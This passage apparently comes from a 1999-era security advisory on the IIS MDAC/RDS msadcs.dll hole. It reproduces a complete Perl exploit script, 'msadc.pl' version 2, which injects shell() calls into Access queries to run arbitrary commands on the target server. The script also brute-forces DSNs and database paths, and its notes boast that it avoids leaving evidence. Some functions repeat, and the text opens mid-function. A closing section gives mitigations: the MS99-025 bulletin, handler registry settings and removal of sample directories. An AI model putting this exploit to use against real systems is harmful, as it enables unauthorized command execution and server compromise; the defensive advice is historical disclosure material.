return -1;} # it should never get here actually
##############################################################################
sub funky {
my (@in)=@_; my $error=odbc_error(@in);
if($error=~/ADO could not find the specified provider/){
print "\nServer returned an ADO miscofiguration message\nAborting.\n";
exit;}
if($error=~/A Handler is required/){
print "\nServer has custom handler filters (they most likely are patched)\n";
exit;}
if($error=~/specified Handler has denied Access/){
print "\nADO handlers denied access (they most likely are patched)\n";
exit;}}
##############################################################################
sub has_msadc {
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
my $base=content_start(@results);
return if($results[$base]=~/Content-Type: application\/x-varg/);
my @s=grep("Server",@results);
if($s[0]!~/IIS/){ print "Doh! They're not running IIS.\n" }
else { print "/msadc/msadcs.dll was not found.\n";}
exit;}
##############################################################################
sub get_name { # this was added last minute
my $msadc=<<EOT
POST /msadc/msadcs.dll/VbBusObj.VbBusObjCls.GetMachineName HTTP/1.1
User-Agent: ACTIVEDATA
Host: $ip
Content-Length: 126
Connection: Keep-Alive
ADCClientVersion:01.06
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=0
--!ADM!ROX!YOUR!WORLD!--
EOT
; $msadc=~s/\n/\r\n/g;
my @results=sendraw($msadc);
my $base=content_start(@results);
$results[$base+6]=~s/[^-A-Za-z0-9!\@\#\$\%^\&*()\[\]_=+~<>.,?]//g;
print "Machine name: $results[$base+6]\n";}
##############################################################################
# Note: This is not a good example of precision code. It is very
# redundant and has a few kludges. I have been adding features in one at
# at a time, so it has resulted in redundant functions and patched code.
# I will be rewriting it in the future, sometime. Look for the newer code
# revisions at www.technotronic.com/rfp/
# This may also be included in the NT-PTK/P. If you don't know what that
# is, just wait and see. :)
##############################################################################
When you are trying to exploit the RDS bug and you made a
sucessful attempt to retrive data there's a problem to be solve:
The DataGRID don't let you save the info that you have downloaded.
And when it DOES have RDS but it doesn't have the adctest.asp page
you can't do much without RDS packet installed (you can download
msadcsdk packet from ms site). So Wanderley J. Abreu Jr code a
litle program running win win9x/NT plataforms to exploit this
As-Designed-Bug and save it to a convecional format (.XLS, HTML,
.TXT, ETC) and msadc packet is not required on the client
machine. E-mail him to get a copy of program and source pack at
storm@UNIKEY.COM.BR.
After some time RDS exploit version 2 saw they of light. New
features include:
- UNC support. This has only been tested with Windows 95 shares.
NT may cause authentication wackiness. Use
-u \\server\share\file.mdb. Also, on unix boxen, don't forget
you have to escape the '\', so would look like
\\\\server\\share\\file.mdb. Also have not tested with Samba.
- Win 95 support. Use -w to use command /c instead of cmd /c.
- Slimmed down the query process. Before it would query to
determine if it was using Access driver, then create a table
called 'AZZ', and then try to use this 'AZZ' table for the
exploit. This left obvious leftovers (tables named 'AZZ') on
the server. Now it just queries MSysModules firsthand, which
cuts down the steps and stops leaving evidence. However, this
may not always work. Use the -c switch for backwards
compatibility (3 step process).
- Only run a certain step. Use the -s switch to specify which
step to run. For those of you itching to try the new UNC
support, you can run it immediately (normally it's step 5), by
running:
./msadc.pl -h <host> -u <unc path> -s 5
To run this script, save this and try:
perl -x <this file name>
########################################################################
#!perl
#
# MSADC/RDS 'usage' (aka exploit) script version 2
#
# by rain forest puppy
#
# - added UNC support, really didn't clean up code, but oh well
use Socket; use Getopt::Std;
getopts("e:vd:h:XRVNwcu:s:", \%args);
print "-- RDS smack v2 - rain forest puppy / ADM / wiretrip --\n";
if (!defined $args{h} && !defined $args{R}) {
print qq~
Usage: msadc.pl -h <host> { -d <delay> -X -v }
-h <host> = host you want to scan (ip or domain)
-d <seconds> = delay between calls, default 1 second
-X = dump Index Server path table, if available
-N = query VbBusObj for NetBIOS name
-V = use VbBusObj instead of ActiveDataFactory
-v = verbose
-e = external dictionary file for step 5
-u <\\\\host\\share\\file> = use UNC file
-w = Windows 95 instead of Windows NT
-c = v1 compatibility (three step query)
-s <number> = run only step <number>
Or a -R will resume a (v2) command session
~; exit;}
###########################################################
# config data
@drives=("c","d","e","f","g","h");
@sysdirs=("winnt","winnt35","winnt351","win","windows");
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go
@dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
"banner", "banners", "ads", "ADCDemo", "ADCTest");
# this is sparse, because I don't know of many
@sysmdbs=( "\\catroot\\icatalog.mdb",
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
"\\system32\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
"\\system32\\certmdb.mdb",
"\\system32\\ias\\ias.mdb",
"\\system32\\ias\dnary.mdb",
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
@mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
"\\cfusion\\cfapps\\forums\\forums_.mdb",
"\\cfusion\\cfapps\\forums\\data\\forums.mdb",
"\\cfusion\\cfapps\\security\\realm_.mdb",
"\\cfusion\\cfapps\\security\\data\\realm.mdb",
"\\cfusion\\database\\cfexamples.mdb",
"\\cfusion\\database\\cfsnippets.mdb",
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
"\\cfusion\\brighttiger\\database\\cleam.mdb",
"\\cfusion\\database\\smpolicy.mdb",
"\\cfusion\\database\cypress.mdb",
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
"\\website\\cgi-win\\dbsample.mdb",
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
); #these are just \
###########################################################
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
if(!defined $args{R}){ $target= inet_aton($ip)
|| die("inet_aton problems; host doesn't exist?");}
if (!defined $args{R}){ $ret = &has_msadc; }
if (defined $args{X}) { &hork_idx; exit; }
if (defined $args{N}) { &get_name; exit; }
if (defined $args{w}){$comm="command /c";} else {$comm="cmd /c";}
if (defined $args{R}) { &load; exit; }
print "Type the command line you want to run ($comm assumed):\n"
. "$comm ";
$in=<STDIN>; chomp $in;
$command="$comm " . $in ;
if (!defined $args{s} || $args{s}==1){
print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
&try_btcustmr;}
if (!defined $args{s} || $args{s}==2){
print "\nStep 2: Trying to make our own DSN...";
if (&make_dsn){ print "<<success>>\n"; sleep(3); } else {
print "<<fail>>\n"; }} # we need to sleep to let the server catchup
if (!defined $args{s} || $args{s}==3){
print "\nStep 3: Trying known DSNs...";
&known_dsn;}
if (!defined $args{s} || $args{s}==4){
print "\nStep 4: Trying known .mdbs...";
&known_mdb;}
if (!defined $args{s} || $args{s}==5){
if (defined $args{u}){
print "\xStep 5: Trying UNC...";
&use_unc; } else { "\nNo -u; Step 5 skipped.\n"; }}
if (!defined $args{s} || $args{s}==6){
if (defined $args{e}){
print "\nStep 6: Trying dictionary of DSN names...";
&dsn_dict; } else { "\nNo -e; Step 6 skipped.\n"; }}
print "\n\nNo luck, guess you'll have to use a real hack, eh?\n";
exit;
##############################################################################
sub sendraw { # this saves the whole transaction anyway
my ($pstr)=@_;
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
die("Socket problems\n");
if(connect(S,pack "SnA4x8",2,80,$target)){
open(OUT,">raw.out"); my @in;
select(S); $|=1; print $pstr;
while(<S>){ print OUT $_; push @in, $_;
print STDOUT "." if(defined $args{X});}
close(OUT); select(STDOUT); close(S); return @in;
} else { die("Can't connect...\n"); }}
##############################################################################
sub make_header { # make the HTTP request
my $aa, $bb;
if (defined $args{V}){
$aa="VbBusObj.VbBusObjCls.GetRecordset";
$bb="2";
} else {
$aa="AdvancedDataFactory.Query";
$bb="3";}
$msadc=<<EOT
POST /msadc/msadcs.dll/$aa HTTP/1.1
User-Agent: ACTIVEDATA
Host: $ip
Content-Length: $clen
Connection: Keep-Alive
ADCClientVersion:01.06
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=$bb
--!ADM!ROX!YOUR!WORLD!
Content-Type: application/x-varg
Content-Length: $reqlen
EOT
;
$msadc=~s/\n/\r\n/g;
return $msadc;}
##############################################################################
sub make_req { # make the RDS request
my ($switch, $p1, $p2)=@_;
my $req=""; my $t1, $t2, $query, $dsn;
if ($switch==1){ # this is the btcustmr.mdb query
$query="Select * from Customers where City='|shell(\"$command\")|'";
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
elsif ($switch==2){ # this is general make table query
$query="create table AZZ (B int, C varchar(10))";
$dsn="$p1";}
elsif ($switch==3){ # this is general exploit table query
$query="select * from AZZ where C='|shell(\"$command\")|'";
$dsn="$p1";}
elsif ($switch==4){ # attempt to hork file info from index server
$query="select path from scope()";
$dsn="Provider=MSIDXS;";}
elsif ($switch==5){ # bad query
$query="select";
$dsn="$p1";}
elsif ($switch==6){ # this is table-independant query (new)
$query="select * from MSysModules where name='|shell(\"$command\")|'";
$dsn="$p1";}
$t1= make_unicode($query);
$t2= make_unicode($dsn);
if(defined $args{V}) { $req=""; } else {$req = "\x02\x00\x03\x00"; }
$req.= "\x08\x00" . pack ("S1", length($t1));
$req.= "\x00\x00" . $t1 ;
$req.= "\x08\x00" . pack ("S1", length($t2));
$req.= "\x00\x00" . $t2 ;
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
return $req;}
##############################################################################
sub make_unicode { # quick little function to convert to unicode
my ($in)=@_; my $out;
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
return $out;}
##############################################################################
sub rdo_success { # checks for RDO return success (this is kludge)
my (@in) = @_; my $base=content_start(@in);
if($in[$base]=~/multipart\/mixed/){
return 1 if( $in[$base+10]=~/^\x09\x00/ );}
return 0;}
##############################################################################
sub make_dsn { # this (tries to) make a DSN for us
print "\nMaking DSN: ";
foreach $drive (@drives) {
print "$drive: ";
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
return 0 if $2 eq "404"; # not found/doesn't exist
if($2 eq "200") {
foreach $line (@results) {
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
} return 0;}
##############################################################################
sub verify_exists {
my ($page)=@_;
my @results=sendraw("GET $page HTTP/1.0\n\n");
return $results[0];}
##############################################################################
sub try_btcustmr {
foreach $dir (@sysdirs) {
print "$dir -> "; # fun status so you can see progress
foreach $drive (@drives) {
print "$drive: "; # ditto
$reqlen=length( make_req(1,$drive,$dir) ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(1,$drive,$dir));
if (rdo_success(@results)){print "Success!\n";
save("dbq=".$drive.":\\".$dir."\\help\\iis\\htm\\tutorial\\btcustmr.mdb;");
exit;}
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
##############################################################################
sub odbc_error {
my (@in)=@_; my $base;
my $base = content_start(@in);
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
return $in[$base+4].$in[$base+5].$in[$base+6];}
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
##############################################################################
sub verbose {
my ($in)=@_;
return if !$verbose;
print STDOUT "\n$in\n";}
##############################################################################
sub save {
my ($p1)=@_; my $ropt="";
open(OUT, ">rds.save") || print "Problem saving parameters...\n";
if (defined $args{c}){ $ropt="c ";}
if (defined $args{V}){ $ropt.="V ";}
if (defined $args{w}){ $ropt.="w ";}
print OUT "v2\n$ip\n$ropt\n$p1\n";
close OUT;}
##############################################################################
sub load {
my ($action)=@_;
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)};";
open(IN,"<rds.save") || die("Couldn't open rds.save\n");
@p=<IN>; close(IN);
die("Wrong rds.save version") if $p[0] ne "v2\n";
$ip="$p[1]"; $ip=~s/\n//g;
$target= inet_aton($ip) || die("inet_aton problems");
print "Resuming to $ip ...";
@switches=split(/ /,$p[2]);
foreach $switch (@switches) {
$args{$switch}="1";}
if (defined $args{w}){$comm="command /c";} else {$comm="cmd /c";}
print "Type the command line you want to run ($comm assumed):\n"
. "$comm ";
$in=<STDIN>; chomp $in;
$command="$comm " . $in ;
$torun="$p[3]"; $torun=~s/\n//g;
if($torun=~/btcustmr/){
$args{'c'}="1";} # this is a kludge to make it work
if($torun=~/^dbq/){ $torun=$drvst.$torun; }
if(run_query("$torun")){
print "Success!\n";} else { print "failed\n"; }
exit;}
##############################################################################
sub create_table {
return 1 if (!defined $args{c});
return 1 if (defined $args{V});
my ($in)=@_;
$reqlen=length( make_req(2,$in,"") ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(2,$in,""));
return 1 if rdo_success(@results);
my $temp= odbc_error(@results); verbose($temp);
return 1 if $temp=~/Table 'AZZ' already exists/;
return 0;}
##############################################################################
sub known_dsn {
foreach $dSn (@dsns) {
print ".";
next if (!is_access("DSN=$dSn"));
if(create_table("DSN=$dSn")){
if(run_query("DSN=$dSn")){
print "$dSn: Success!\n"; save ("dsn=$dSn"); exit; }}} print "\n";}
##############################################################################
sub is_access {
my ($in)=@_;
return 1 if (!defined $args{c});
return 1 if (defined $args{V});
$reqlen=length( make_req(5,$in,"") ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(5,$in,""));
my $temp= odbc_error(@results);
verbose($temp); return 1 if ($temp=~/Microsoft Access/);
return 0;}
##############################################################################
sub run_query {
my ($in)=@_; my $req;
if (defined $args{c}){$req=3;} else {$req=6;}
$reqlen=length( make_req($req,$in,"") ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req($req,$in,""));
return 1 if rdo_success(@results);
my $temp= odbc_error(@results); verbose($temp);
return 0;}
##############################################################################
sub known_mdb {
my @drives=("c","d","e","f","g");
my @dirs=("winnt","winnt35","winnt351","win","windows");
my $dir, $drive, $mdb;
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
foreach $drive (@drives) {
foreach $dir (@sysdirs){
foreach $mdb (@sysmdbs) {
print ".";
if(create_table($drv.$drive.":\\".$dir.$mdb)){
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
print "$mdb: Success!\n"; save ("dbq=".$drive .":\\".$dir.$mdb); exit;
}}}}}
foreach $drive (@drives) {
foreach $mdb (@mdbs) {
print ".";
if(create_table($drv.$drive.":".$mdb)){
if(run_query($drv.$drive.":".$mdb)){
print "$mdb: Success!\n"; save ("dbq=".$drive.":".$mdb); exit;
}}}}
}
##############################################################################
sub hork_idx {
print "\nAttempting to dump Index Server tables...\n";
print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
$reqlen=length( make_req(4,"","") ) - 28;
$reqlenlen=length( "$reqlen" );
$clen= 206 + $reqlenlen + $reqlen;
my @results=sendraw(make_header() . make_req(4,"",""));
if (rdo_success(@results)){
my $max=@results; my $c; my %d;
for($c=19; $c<$max; $c++){
$results[$c]=~s/\x00//g;
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
$d{"$1$2"}="";}
foreach $c (keys %d){ print "$c\n"; }
} else {print "Index server not installed/query failed\n"; }}
##############################################################################
sub dsn_dict {
open(IN, "<$args{e}") || die("Can't open external dictionary\n");
while(<IN>){
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
next if (!is_access("DSN=$dSn"));
if(create_table("DSN=$dSn")){
if(run_query("DSN=$dSn")){
print "Success!\n"; save ("dsn=$dSn"); exit; }}}
print "\n"; close(IN);}
##############################################################################
sub content_start { # this will take in the server headers
my (@in)=@_; my $c;
for ($c=1;$c<500;$c++) { # assume there's less than 500 headers
if($in[$c] =~/^\x0d\x0a/){
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
else { return $c+1; }}}
return -1;} # it should never get here actually
##############################################################################
sub funky {
my (@in)=@_; my $error=odbc_error(@in);
if($error=~/ADO could not find the specified provider/){
print "\nServer returned an ADO miscofiguration message\nAborting.\n";
exit;}
if($error=~/A Handler is required/){
print "\nServer has custom handler filters (they most likely are patched)\n";
exit;}
if($error=~/specified Handler has denied Access/){
print "\nADO handlers denied access (they most likely are patched)\n";
exit;}
if($error=~/server has denied access/){
print "\nADO handlers denied access (they most likely are patched)\n";
exit;}}
##############################################################################
sub has_msadc {
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
my $base=content_start(@results);
return if($results[$base]=~/Content-Type: application\/x-varg/);
my @s=grep("Server: ",@results);
if($s[0]!~/IIS/){ print "Doh! They're not running IIS.\n$s[0]\n" }
else { print "/msadc/msadcs.dll was not found.\n";}
exit;}
##############################################################################
sub use_unc {
$uncpath=$args{u};
$driverline="driver={Microsoft Access Driver (*.mdb)};dbq=";
if(!$uncpath=~/^\\\\[a-zA-Z0-9_.]+\\[-a-zA-Z0-9_]+\\.+/){
print "Your UNC path sucks. You need the following format:\n".
"\\server(ip preferable)\share\some-file.mdb\n\n"; exit; }
if(create_table($driverline.$uncpath)){
if(run_query($driverline.$uncpath)){
print "Success!\n"; save ("dbq=".$uncpath); exit;}}
}
##############################################################################
sub get_name { # this was added last minute
my $msadc=<<EOT
POST /msadc/msadcs.dll/VbBusObj.VbBusObjCls.GetMachineName HTTP/1.1
User-Agent: ACTIVEDATA
Host: $ip
Content-Length: 126
Connection: Keep-Alive
ADCClientVersion:01.06
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=0
--!ADM!ROX!YOUR!WORLD!--
EOT
; $msadc=~s/\n/\r\n/g;
my @results=sendraw($msadc);
my $base=content_start(@results);
$results[$base+6]=~s/[^-A-Za-z0-9!\@\#\$\%^\&*()\[\]_=+~<>.,?]//g;
print "Machine name: $results[$base+6]\n";}
##############################################################################
# special greets to trambottic, hex_edit, vacuum (technotronic), all #!adm,
# #!w00w00 & #rhino9 (that's a lot of people, and they are all very elite and
# good friends!), wiretrip, l0pht, nmrc & all of phrack
#
# thumbs up to packetstorm, hackernews, phrack, securityfocus, ntsecadvice
#
# I wish I could really name everyone, but I can't. Don't feel slighted if
# your not on the list... :)
##############################################################################
While testing on some boxes, some people found they had to change
my @s=grep("Server: ",@results);
to
my @s=grep(/^Server:/,@results);
in sub has_msadc() (tested using perl 5.004_05 on a linux box).
SOLUTION
After bringing the issue to the attention of Microsoft by Greg,
along with a list of some of the larger affected sites, they have
decided to release a new version of MS98-004 as MS99-025.
Disabling RDS has also been part of the IIS Security Checklist
for quite some time:
http://www.microsoft.com/security/products/iis/CheckList.asp
This security issues may affect ColdFusion customers. Visit the
Security Zone at the Allaire Web site to learn about these new
issues and what actions you can take to address them:
http://www.allaire.com/security
Check ASB99-11: Solutions to Issues that Allow Users to Execute
Commands on NT Servers through MDAC RDS. As indicated in
Microsoft Security Bulletin MS98-004 and MS99-025 some Microsoft
Data Access Components (MDAC) could allow unauthorized access to
a web server hosted on Microsoft Windows NT. This is not a
problem with ColdFusion Server. However, Allaire customers
running on Windows NT should take the steps outlined below to
protect themselves from this vulnerability. [NOTE: ColdFusion RDS
("Remote Development Services") are an entirely different
technology than the MDAC RDS ("Remote Data Services") and do not
make use of MDAC RDS. The remainder of this Bulletin uses "RDS"
to refer to the MDAC Remote Data Services, not the ColdFusion
Remote Development Services.]
If you are using RDS, you should disallow anonymous access to the
/msadc directory, or create a custom handler to filter incoming
requests (http://www.microsoft.com/Data/ado/rds/custhand.htm). If
you do not do anything, your IIS server will remain wide open to
attack via this exploit, and since the exploit occurs entirely
over Port 80, your firewall will likely not be a factor. Keep in
mind, even if you have upgraded from MDAC 1.5 to 2.0 or 2.1, the
server will likely still be affected, since once the registry keys
are created, they must be modified manually.
Apparently when Microsoft released the MS99-025 Bulletin it
contained a reference to a file called;
HANDUNSF (may have been .exe, .rem, or .reg)
THIS IS THE WRONG REGISTRY FILE. It contains the lines;
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\DataFactory\HandlerInfo]
"handlerRequired"=dword:00000000
"DefaultHandler"="MSDFMAP.Handler"
Note, the "handlerRequired" parameter is 0. In order for this
registry file to be effective, it must be 1;
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\DataFactory\HandlerInfo]
"handlerRequired"=dword:00000001
"DefaultHandler"="MSDFMAP.Handler"
Such a file exists on Microsoft's site as;
http://www.microsoft.com/security/bulletins/handsafe.exe
It appears MS have removed all references to this file from their
Security Bulletin. For those that don't know, these registry
entries are different than those listed in the Security Bulletin.
These entries implement "Customization Handler Feature in RDS
2.0" as per;
http://www.microsoft.com/Data/ado/rds/custhand.htm
referenced in the Security Bulletin. The Custom Handler this
registry file implements will protect the site against the
specific vulnerability covered by the Bulletin and is one method
of protecting your site from this vulnerability without removing
RDS capabilities.
Now Microsoft does make some other mentions of just disabling RDS
all together. While this will work, unfortunately, RDS exists
for a reason, and many people are using it legitimately. That
means there are people who can't disable it because they use it.
So what to do? Those who need RDS: custom handlers are the way
to go. Unfortunately, there's that pesky VbBusObj to deal with.
This is actually not that hard. You need to delete the VbBusObj
references. Simply delete the following registry key
HKEY_LOCAL_MACHINE/System/CurrentControlSet/Services/W3SVC/Parameters/ADCLaunch/VbBusObj.VbBusObjCls
(line unbroken for integrity) For peace of mind you can also
delete vbbusobj.dll, which is installed at (pending root drives)
c:\program files\common files\system\msadc\samples\selector\middle_tier\vbbusobj\vbbusobj.dll
That should be it. Now, you'll need to read about custom handler
creation, and cooperate with the DBAs at your location to come up
with a suitable, yet secure handler definition. Those who don't
need RDS: still upgrade your MDAC and run HANDSAFE.EXE just in
case. But you can basically prevent people from using RDS
remotely by removing the /msadc/ virtual root. You can do this
in MMC or via the IIS Administration HTML interface.
While we're digging around IIS, let's do a little cleaning up,
shall we? Let's start off with ODBC. Open up Control Panel, and
go into ODBC. Look at the DSNs defined under User, System, and
File. You should delete any DSNs you do not use, especially
sample/default DSNs, such as 'pubs', 'advworks', 'adctest', etc.
You should fully research the need for any particular DSN you
use. Now, under ODBC Drivers, again, you should remove any
drivers you do not use. Having 'SQL Server' means people could
potentially proxy off your machine to another SQL server. The
'Microsoft Text Driver' should definately be deleted. The more
you delete, the safer you are. Let's now pop over to IIS. Pull
up MMC or the adminstrative web interface. Follow down the tree
branches until you get to Default Web Site (or whatever your
website might be). Examine which virtual directories you have
mounted into your site. You should research the uses of these as
well, deleting when in doubt (record the 'Properties' information
first just in case). Virtual directories suggested deleting (if
you have them):
IISSamples
IISHelp
IISadmpwd
Msadc
If you have Cold Fusion installed, you'll also have CFdocs.
Remove it, as it contains a horde of exploitable sample scripts.
On to the last check, which are physical files. Let's assume the
web directory is c:\inetpub. Adjust accordingly. Check the
following:
c:\inetpub\scripts\tools
This contains by default a few tools to make DSNs. Delete
everything in this directory. Or, if you're worried about
deleting it, than MOVE it out of the directory, and into one
that's *NOT* available through your web server
c:\inetpub\scripts\samples
Samples. Delete or move them. Contians scripts that are
known to be exploitable.
c:\inetpub\scripts\iisadmin
This is the IIS 3.0 administration interface. IIS 4.0 uses
something different. Delete or move everything. Again,
contains exploitable sample scripts.
c:\inetpub\iissamples\
This contains the ExAir sample site, typically the SDK, and
other fun goodies. But they're samples. Delete or move the
whole directory. Contains exploitable sample scripts.